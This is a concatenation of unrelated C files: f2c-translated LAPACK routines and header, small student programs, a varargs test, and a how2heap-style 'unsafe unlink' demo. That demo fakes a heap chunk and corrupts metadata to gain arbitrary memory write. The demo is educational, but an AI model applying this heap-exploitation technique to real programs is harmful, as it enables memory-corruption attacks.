solve L*D*X = B, overwriting B with X. */ /* K is the main loop index, increasing from 1 to N in steps of */ /* 1 or 2, depending on the size of the diagonal blocks. */ k = 1; L60: /* If K > N, exit from loop. */ if (k > *n) { goto L80; } if (ipiv[k] > 0) { /* 1 x 1 diagonal block */ /* Interchange rows K and IPIV(K). */ kp = ipiv[k]; if (kp != k) { cswap_(nrhs, &b[k + b_dim1], ldb, &b[kp + b_dim1], ldb); } /* Multiply by inv(L(K)), where L(K) is the transformation */ /* stored in column K of A. */ if (k < *n) { i__1 = *n - k; q__1.r = -1.f, q__1.i = 0.f; cgeru_(&i__1, nrhs, &q__1, &a[k + 1 + k * a_dim1], &c__1, &b[ k + b_dim1], ldb, &b[k + 1 + b_dim1], ldb); } /* Multiply by the inverse of the diagonal block. */ i__1 = k + k * a_dim1; s = 1.f / a[i__1].r; csscal_(nrhs, &s, &b[k + b_dim1], ldb); ++k; } else { /* 2 x 2 diagonal block */ /* Interchange rows K and -IPIV(K), then K+1 and -IPIV(K+1) */ kp = -ipiv[k]; if (kp != k) { cswap_(nrhs, &b[k + b_dim1], ldb, &b[kp + b_dim1], ldb); } kp = -ipiv[k + 1]; if (kp != k + 1) { cswap_(nrhs, &b[k + 1 + b_dim1], ldb, &b[kp + b_dim1], ldb); } /* Multiply by inv(L(K)), where L(K) is the transformation */ /* stored in columns K and K+1 of A. */ if (k < *n - 1) { i__1 = *n - k - 1; q__1.r = -1.f, q__1.i = 0.f; cgeru_(&i__1, nrhs, &q__1, &a[k + 2 + k * a_dim1], &c__1, &b[ k + b_dim1], ldb, &b[k + 2 + b_dim1], ldb); i__1 = *n - k - 1; q__1.r = -1.f, q__1.i = 0.f; cgeru_(&i__1, nrhs, &q__1, &a[k + 2 + (k + 1) * a_dim1], & c__1, &b[k + 1 + b_dim1], ldb, &b[k + 2 + b_dim1], ldb); } /* Multiply by the inverse of the diagonal block. */ i__1 = k + 1 + k * a_dim1; akm1k.r = a[i__1].r, akm1k.i = a[i__1].i; r_cnjg(&q__2, &akm1k); c_div(&q__1, &a[k + k * a_dim1], &q__2); akm1.r = q__1.r, akm1.i = q__1.i; c_div(&q__1, &a[k + 1 + (k + 1) * a_dim1], &akm1k); ak.r = q__1.r, ak.i = q__1.i; q__2.r = akm1.r * ak.r - akm1.i * ak.i, q__2.i = akm1.r * ak.i + akm1.i * ak.r; q__1.r = q__2.r - 1.f, q__1.i = q__2.i + 0.f; denom.r = q__1.r, denom.i = q__1.i; i__1 = *nrhs; for (j = 1; j <= i__1; ++j) { r_cnjg(&q__2, &akm1k); c_div(&q__1, &b[k + j * b_dim1], &q__2); bkm1.r = q__1.r, bkm1.i = q__1.i; c_div(&q__1, &b[k + 1 + j * b_dim1], &akm1k); bk.r = q__1.r, bk.i = q__1.i; i__2 = k + j * b_dim1; q__3.r = ak.r * bkm1.r - ak.i * bkm1.i, q__3.i = ak.r * bkm1.i + ak.i * bkm1.r; q__2.r = q__3.r - bk.r, q__2.i = q__3.i - bk.i; c_div(&q__1, &q__2, &denom); b[i__2].r = q__1.r, b[i__2].i = q__1.i; i__2 = k + 1 + j * b_dim1; q__3.r = akm1.r * bk.r - akm1.i * bk.i, q__3.i = akm1.r * bk.i + akm1.i * bk.r; q__2.r = q__3.r - bkm1.r, q__2.i = q__3.i - bkm1.i; c_div(&q__1, &q__2, &denom); b[i__2].r = q__1.r, b[i__2].i = q__1.i; /* L70: */ } k += 2; } goto L60; L80: /* Next solve L**H *X = B, overwriting B with X. */ /* K is the main loop index, decreasing from N to 1 in steps of */ /* 1 or 2, depending on the size of the diagonal blocks. */ k = *n; L90: /* If K < 1, exit from loop. */ if (k < 1) { goto L100; } if (ipiv[k] > 0) { /* 1 x 1 diagonal block */ /* Multiply by inv(L**H(K)), where L(K) is the transformation */ /* stored in column K of A. */ if (k < *n) { clacgv_(nrhs, &b[k + b_dim1], ldb); i__1 = *n - k; q__1.r = -1.f, q__1.i = 0.f; cgemv_("Conjugate transpose", &i__1, nrhs, &q__1, &b[k + 1 + b_dim1], ldb, &a[k + 1 + k * a_dim1], &c__1, &c_b1, & b[k + b_dim1], ldb); clacgv_(nrhs, &b[k + b_dim1], ldb); } /* Interchange rows K and IPIV(K). */ kp = ipiv[k]; if (kp != k) { cswap_(nrhs, &b[k + b_dim1], ldb, &b[kp + b_dim1], ldb); } --k; } else { /* 2 x 2 diagonal block */ /* Multiply by inv(L**H(K-1)), where L(K-1) is the transformation */ /* stored in columns K-1 and K of A. */ if (k < *n) { clacgv_(nrhs, &b[k + b_dim1], ldb); i__1 = *n - k; q__1.r = -1.f, q__1.i = 0.f; cgemv_("Conjugate transpose", &i__1, nrhs, &q__1, &b[k + 1 + b_dim1], ldb, &a[k + 1 + k * a_dim1], &c__1, &c_b1, & b[k + b_dim1], ldb); clacgv_(nrhs, &b[k + b_dim1], ldb); clacgv_(nrhs, &b[k - 1 + b_dim1], ldb); i__1 = *n - k; q__1.r = -1.f, q__1.i = 0.f; cgemv_("Conjugate transpose", &i__1, nrhs, &q__1, &b[k + 1 + b_dim1], ldb, &a[k + 1 + (k - 1) * a_dim1], &c__1, & c_b1, &b[k - 1 + b_dim1], ldb); clacgv_(nrhs, &b[k - 1 + b_dim1], ldb); } /* Interchange rows K and -IPIV(K), then K-1 and -IPIV(K-1) */ kp = -ipiv[k]; if (kp != k) { cswap_(nrhs, &b[k + b_dim1], ldb, &b[kp + b_dim1], ldb); } kp = -ipiv[k - 1]; if (kp != k - 1) { cswap_(nrhs, &b[k - 1 + b_dim1], ldb, &b[kp + b_dim1], ldb); } k += -2; } goto L90; L100: ; } return 0; /* End of CHETRS_ROOK */ } /* chetrs_rook__ */
the_stack_data/20739.c
/* Autor: aless Fecha: 03/29/22 Compilador: gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0 Compilado: gcc -o problema5.out problema5.c && ./problema5.out Librerias: stdio Resumen: Este programa lee dos números enteros, los cuales usa como rango para imprimir todos los números primos en ese rango. */ // Librerías #include <stdio.h> int n1, n2, i, j, primo; // A1. Inicializamos variables. int es_primo(int i, int j); // A2. Prototipamos la función que nos dice si un número es primo o no. int main() { do { // A3. Le pedimos al usuario que ingrese los números del rango. Y que cumplan con las condiciones especificadas. puts("Ingrese el primer número del rango (debe ser mayor a 1, pues 1 no es primo):"); scanf("%d", &n1); } while (n1<=1); do { puts("Ingrese el segundo número del rango (debe ser mayor al número anterior):"); scanf("%d", &n2); } while (n2<=n1); i=n1; // A4. Valuamos a (i) con el primer número del rango. printf("Los números primos en el rango son: \n"); while (i<=n2) { // A5. Mientras (i) esté en el rango, imprimimos números primos es_primo(i, j); // A6. Llamamos a la función para que nos diga si el valor actual de (i) es primo o no. if (primo==1) { printf("- %d ", i); // A7. Si lo es, lo imprimimos. } i++; // A8. Si no lo es, (i) pasa al siguiente número y se vuelve a hacer el test. } printf("\n"); return 0; } int es_primo(int i, int j) { j=2; // B1. Valuamos las variables. primo=1; // Nota: En esta función, un número es primo hasta que se demuestre lo contrario. while( j<i && primo==1 ) { // B2. En este ciclo, el valor de (j) irá aumentando de uno en uno. Hasta que: (a) Este sea igual a i y // (b) Se haya determinado que el número (i) tiene un divisor tal que el residuo de su división es cero. if ((i%j)==0) { // B3. Si el residuo del cociente i/j es cero, es porque el número no es primo. primo=0; // B4. En dado caso se le cambia de valor a la variable primo. } j++; // B5. Si en cambio, el residuo del cociente i/j no es cero, se aumenta (j) en uno y se repite el ciclo. } }
the_stack_data/128288.c
/* * Copyright (c) 2018, Oracle and/or its affiliates. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, this list of * conditions and the following disclaimer in the documentation and/or other materials provided * with the distribution. * * 3. Neither the name of the copyright holder nor the names of its contributors may be used to * endorse or promote products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <stdarg.h> #include <stdio.h> static int func(int val) { return val; } static int varfunc(int n, ...) { va_list ap; va_start(ap, n); typedef int (*func_t)(int); func_t fp = va_arg(ap, func_t); va_end(ap); return fp(0xdeadbeef); } int main(int argc, char **argv) { return varfunc(1, func) != 0xdeadbeef; }
the_stack_data/125139569.c
/* itoa example */ #include <stdio.h> #include <stdlib.h> int main (){ int i; char buffer [33]; printf ("Enter a number: "); scanf ("%d",&i); itoa (i,buffer,10); printf ("decimal: %s\n",buffer); itoa (i,buffer,16); printf ("hexadecimal: %s\n",buffer); itoa (i,buffer,2); printf ("binary: %s\n",buffer); return 0; }
the_stack_data/15761991.c
/* File: h4_driver.c * * Purpose: Linux program that adds two user-input long ints. Calls x86 * assembly function to do the addition. * * Compile: gcc -o h4_driver h4_driver.c h4_driver.s * Run: ./h4_driver * * Input: Two long ints * Output: Their sum * * Notes: * 1. This version should be run on a 64-bit system. */ #include <stdio.h> long Driver(long a, long b); int main(void) { long a, b, c; printf("Enter two ints\n"); scanf("%ld%ld", &a, &b); c = Driver(a, b); printf("The sum is %ld\n", c); return 0; }
the_stack_data/218891965.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <assert.h> uint64_t *chunk0_ptr; int main() { setbuf(stdout, NULL); printf("Welcome to unsafe unlink 2.0!\n"); printf("Tested in Ubuntu 18.04.4 64bit.\n"); printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"); int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin int header_size = 2; printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"); chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr); printf("We create a fake chunk inside chunk0.\n"); printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"); chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]); printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); uint64_t *chunk1_hdr = chunk1_ptr - header_size; printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); chunk1_hdr[0] = malloc_size; printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]); printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"); chunk1_hdr[1] &= ~1; printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"); free(chunk1_ptr); printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); char victim_string[8]; strcpy(victim_string,"Hello!~"); chunk0_ptr[3] = (uint64_t) victim_string; printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); printf("Original value: %s\n",victim_string); chunk0_ptr[0] = 0x4141414142424242LL; printf("New Value: %s\n",victim_string); // sanity check assert(*(long *)victim_string == 0x4141414142424242L); }
the_stack_data/479515.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* 3-0____epur_str.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: evgenkarlson <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/02/14 12:33:14 by evgenkarlson #+# #+# */ /* Updated: 2021/01/22 01:11:03 by evgenkarlson ### ########.fr */ /* */ /* ************************************************************************** */ /* ************************************************************************** */ /* ************************************************************************** ** Assignment name : epur_str Expected files : epur_str.c Allowed functions: write -------------------------------------------------------------------------------- Напишите программу, которая принимает строку и отображает эту строку с ровно одним пробелом между словами, без пробелов и табуляции ни в начале, ни в конце, за которым следует новая строка. «Слово» определяется как часть строки, разделенная пробелами/табуляцией или началом/концом строки. Если количество аргументов не равно 1 или нет слов для отображения, программа отображает новую строку. Пример: $> ./epur_str "vous voyez c'est facile d'afficher la meme chose" | cat -e vous voyez c'est facile d'afficher la meme chose$ $> ./epur_str " seulement la c'est plus dur " | cat -e seulement la c'est plus dur$ $> ./epur_str "comme c'est cocasse" "vous avez entendu, Mathilde ?" | cat -e $ $> ./epur_str "" | cat -e $ $> ** ************************************************************************** */ /* ************************************************************************** */ #include <unistd.h> void ft_putchar(char c) { write(1, &c, 1); } int ft_is_space(char c) { return ((c == ' ') || (c == '\t')); } void ft_epur_str(char *str) { int flag; flag = 0; while (ft_is_space(*str)) str++; while (*str) { if (ft_is_space(*str)) flag = 1; if (!ft_is_space(*str)) { if (flag) ft_putchar(' '); flag = 0; ft_putchar(*str); } str++; } } int main(int argc, char *argv[]) { if (argc == 2) ft_epur_str(argv[1]); ft_putchar('\n'); return (0); }
the_stack_data/215766948.c
/* f2c.h -- Standard Fortran to C header file */ /** barf [ba:rf] 2. "He suggested using FORTRAN, and everybody barfed." - From The Shogakukan DICTIONARY OF NEW ENGLISH (Second edition) */ #ifndef F2C_INCLUDE #define F2C_INCLUDE #include <math.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <complex.h> #ifdef complex #undef complex #endif #ifdef I #undef I #endif #if defined(_WIN64) typedef long long BLASLONG; typedef unsigned long long BLASULONG; #else typedef long BLASLONG; typedef unsigned long BLASULONG; #endif #ifdef LAPACK_ILP64 typedef BLASLONG blasint; #if defined(_WIN64) #define blasabs(x) llabs(x) #else #define blasabs(x) labs(x) #endif #else typedef int blasint; #define blasabs(x) abs(x) #endif typedef blasint integer; typedef unsigned int uinteger; typedef char *address; typedef short int shortint; typedef float real; typedef double doublereal; typedef struct { real r, i; } complex; typedef struct { doublereal r, i; } doublecomplex; static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;} static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;} static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;} static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;} #define pCf(z) (*_pCf(z)) #define pCd(z) (*_pCd(z)) typedef int logical; typedef short int shortlogical; typedef char logical1; typedef char integer1; #define TRUE_ (1) #define FALSE_ (0) /* Extern is for use with -E */ #ifndef Extern #define Extern extern #endif /* I/O stuff */ typedef int flag; typedef int ftnlen; typedef int ftnint; /*external read, write*/ typedef struct { flag cierr; ftnint ciunit; flag ciend; char *cifmt; ftnint cirec; } cilist; /*internal read, write*/ typedef struct { flag icierr; char *iciunit; flag iciend; char *icifmt; ftnint icirlen; ftnint icirnum; } icilist; /*open*/ typedef struct { flag oerr; ftnint ounit; char *ofnm; ftnlen ofnmlen; char *osta; char *oacc; char *ofm; ftnint orl; char *oblnk; } olist; /*close*/ typedef struct { flag cerr; ftnint cunit; char *csta; } cllist; /*rewind, backspace, endfile*/ typedef struct { flag aerr; ftnint aunit; } alist; /* inquire */ typedef struct { flag inerr; ftnint inunit; char *infile; ftnlen infilen; ftnint *inex; /*parameters in standard's order*/ ftnint *inopen; ftnint *innum; ftnint *innamed; char *inname; ftnlen innamlen; char *inacc; ftnlen inacclen; char *inseq; ftnlen inseqlen; char *indir; ftnlen indirlen; char *infmt; ftnlen infmtlen; char *inform; ftnint informlen; char *inunf; ftnlen inunflen; ftnint *inrecl; ftnint *innrec; char *inblank; ftnlen inblanklen; } inlist; #define VOID void union Multitype { /* for multiple entry points */ integer1 g; shortint h; integer i; /* longint j; */ real r; doublereal d; complex c; doublecomplex z; }; typedef union Multitype Multitype; struct Vardesc { /* for Namelist */ char *name; char *addr; ftnlen *dims; int type; }; typedef struct Vardesc Vardesc; struct Namelist { char *name; Vardesc **vars; int nvars; }; typedef struct Namelist Namelist; #define abs(x) ((x) >= 0 ? (x) : -(x)) #define dabs(x) (fabs(x)) #define f2cmin(a,b) ((a) <= (b) ? (a) : (b)) #define f2cmax(a,b) ((a) >= (b) ? (a) : (b)) #define dmin(a,b) (f2cmin(a,b)) #define dmax(a,b) (f2cmax(a,b)) #define bit_test(a,b) ((a) >> (b) & 1) #define bit_clear(a,b) ((a) & ~((uinteger)1 << (b))) #define bit_set(a,b) ((a) | ((uinteger)1 << (b))) #define abort_() { sig_die("Fortran abort routine called", 1); } #define c_abs(z) (cabsf(Cf(z))) #define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); } #define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);} #define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);} #define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));} #define c_log(R, Z) {pCf(R) = clogf(Cf(Z));} #define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));} //#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));} #define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));} #define d_abs(x) (fabs(*(x))) #define d_acos(x) (acos(*(x))) #define d_asin(x) (asin(*(x))) #define d_atan(x) (atan(*(x))) #define d_atn2(x, y) (atan2(*(x),*(y))) #define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); } #define r_cnjg(R, Z) { pCf(R) = conj(Cf(Z)); } #define d_cos(x) (cos(*(x))) #define d_cosh(x) (cosh(*(x))) #define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 ) #define d_exp(x) (exp(*(x))) #define d_imag(z) (cimag(Cd(z))) #define r_imag(z) (cimag(Cf(z))) #define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define d_log(x) (log(*(x))) #define d_mod(x, y) (fmod(*(x), *(y))) #define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x))) #define d_nint(x) u_nint(*(x)) #define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a))) #define d_sign(a,b) u_sign(*(a),*(b)) #define r_sign(a,b) u_sign(*(a),*(b)) #define d_sin(x) (sin(*(x))) #define d_sinh(x) (sinh(*(x))) #define d_sqrt(x) (sqrt(*(x))) #define d_tan(x) (tan(*(x))) #define d_tanh(x) (tanh(*(x))) #define i_abs(x) abs(*(x)) #define i_dnnt(x) ((integer)u_nint(*(x))) #define i_len(s, n) (n) #define i_nint(x) ((integer)u_nint(*(x))) #define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b))) #define pow_dd(ap, bp) ( pow(*(ap), *(bp))) #define pow_si(B,E) spow_ui(*(B),*(E)) #define pow_ri(B,E) spow_ui(*(B),*(E)) #define pow_di(B,E) dpow_ui(*(B),*(E)) #define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));} #define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));} #define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));} #define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; } #define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d)))) #define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; } #define sig_die(s, kill) { exit(1); } #define s_stop(s, n) {exit(0);} static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n"; #define z_abs(z) (cabs(Cd(z))) #define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));} #define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));} #define myexit_() break; #define mycycle() continue; #define myceiling(w) {ceil(w)} #define myhuge(w) {HUGE_VAL} //#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);} #define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)} /* procedure parameter types for -A and -C++ */ #define F2C_proc_par_types 1 #ifdef __cplusplus typedef logical (*L_fp)(...); #else typedef logical (*L_fp)(); #endif static float spow_ui(float x, integer n) { float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static double dpow_ui(double x, integer n) { double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static _Complex float cpow_ui(_Complex float x, integer n) { _Complex float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static _Complex double zpow_ui(_Complex double x, integer n) { _Complex double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer pow_ii(integer x, integer n) { integer pow; unsigned long int u; if (n <= 0) { if (n == 0 || x == 1) pow = 1; else if (x != -1) pow = x == 0 ? 1/x : 0; else n = -n; } if ((n > 0) || !(n == 0 || x == 1 || x != -1)) { u = n; for(pow = 1; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer dmaxloc_(double *w, integer s, integer e, integer *n) { double m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static integer smaxloc_(float *w, integer s, integer e, integer *n) { float m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i])) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i])) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i]) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i]) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif /* -- translated by f2c (version 20000121). You must link the resulting object file with the libraries: -lf2c -lm (in that order) */ /* > \brief \b DLA_LIN_BERR computes a component-wise relative backward error. */ /* =========== DOCUMENTATION =========== */ /* Online html documentation available at */ /* http://www.netlib.org/lapack/explore-html/ */ /* > \htmlonly */ /* > Download DLA_LIN_BERR + dependencies */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/dla_lin _berr.f"> */ /* > [TGZ]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/dla_lin _berr.f"> */ /* > [ZIP]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/dla_lin _berr.f"> */ /* > [TXT]</a> */ /* > \endhtmlonly */ /* Definition: */ /* =========== */ /* SUBROUTINE DLA_LIN_BERR ( N, NZ, NRHS, RES, AYB, BERR ) */ /* INTEGER N, NZ, NRHS */ /* DOUBLE PRECISION AYB( N, NRHS ), BERR( NRHS ) */ /* DOUBLE PRECISION RES( N, NRHS ) */ /* > \par Purpose: */ /* ============= */ /* > */ /* > \verbatim */ /* > */ /* > DLA_LIN_BERR computes component-wise relative backward error from */ /* > the formula */ /* > f2cmax(i) ( abs(R(i)) / ( abs(op(A_s))*abs(Y) + abs(B_s) )(i) ) */ /* > where abs(Z) is the component-wise absolute value of the matrix */ /* > or vector Z. */ /* > \endverbatim */ /* Arguments: */ /* ========== */ /* > \param[in] N */ /* > \verbatim */ /* > N is INTEGER */ /* > The number of linear equations, i.e., the order of the */ /* > matrix A. N >= 0. */ /* > \endverbatim */ /* > */ /* > \param[in] NZ */ /* > \verbatim */ /* > NZ is INTEGER */ /* > We add (NZ+1)*SLAMCH( 'Safe minimum' ) to R(i) in the numerator to */ /* > guard against spuriously zero residuals. Default value is N. */ /* > \endverbatim */ /* > */ /* > \param[in] NRHS */ /* > \verbatim */ /* > NRHS is INTEGER */ /* > The number of right hand sides, i.e., the number of columns */ /* > of the matrices AYB, RES, and BERR. NRHS >= 0. */ /* > \endverbatim */ /* > */ /* > \param[in] RES */ /* > \verbatim */ /* > RES is DOUBLE PRECISION array, dimension (N,NRHS) */ /* > The residual matrix, i.e., the matrix R in the relative backward */ /* > error formula above. */ /* > \endverbatim */ /* > */ /* > \param[in] AYB */ /* > \verbatim */ /* > AYB is DOUBLE PRECISION array, dimension (N, NRHS) */ /* > The denominator in the relative backward error formula above, i.e., */ /* > the matrix abs(op(A_s))*abs(Y) + abs(B_s). The matrices A, Y, and B */ /* > are from iterative refinement (see dla_gerfsx_extended.f). */ /* > \endverbatim */ /* > */ /* > \param[out] BERR */ /* > \verbatim */ /* > BERR is DOUBLE PRECISION array, dimension (NRHS) */ /* > The component-wise relative backward error from the formula above. */ /* > \endverbatim */ /* Authors: */ /* ======== */ /* > \author Univ. of Tennessee */ /* > \author Univ. of California Berkeley */ /* > \author Univ. of Colorado Denver */ /* > \author NAG Ltd. */ /* > \date December 2016 */ /* > \ingroup doubleOTHERcomputational */ /* ===================================================================== */ /* Subroutine */ int dla_lin_berr_(integer *n, integer *nz, integer *nrhs, doublereal *res, doublereal *ayb, doublereal *berr) { /* System generated locals */ integer ayb_dim1, ayb_offset, res_dim1, res_offset, i__1, i__2; doublereal d__1; /* Local variables */ doublereal safe1; integer i__, j; extern doublereal dlamch_(char *); doublereal tmp; /* -- LAPACK computational routine (version 3.7.0) -- */ 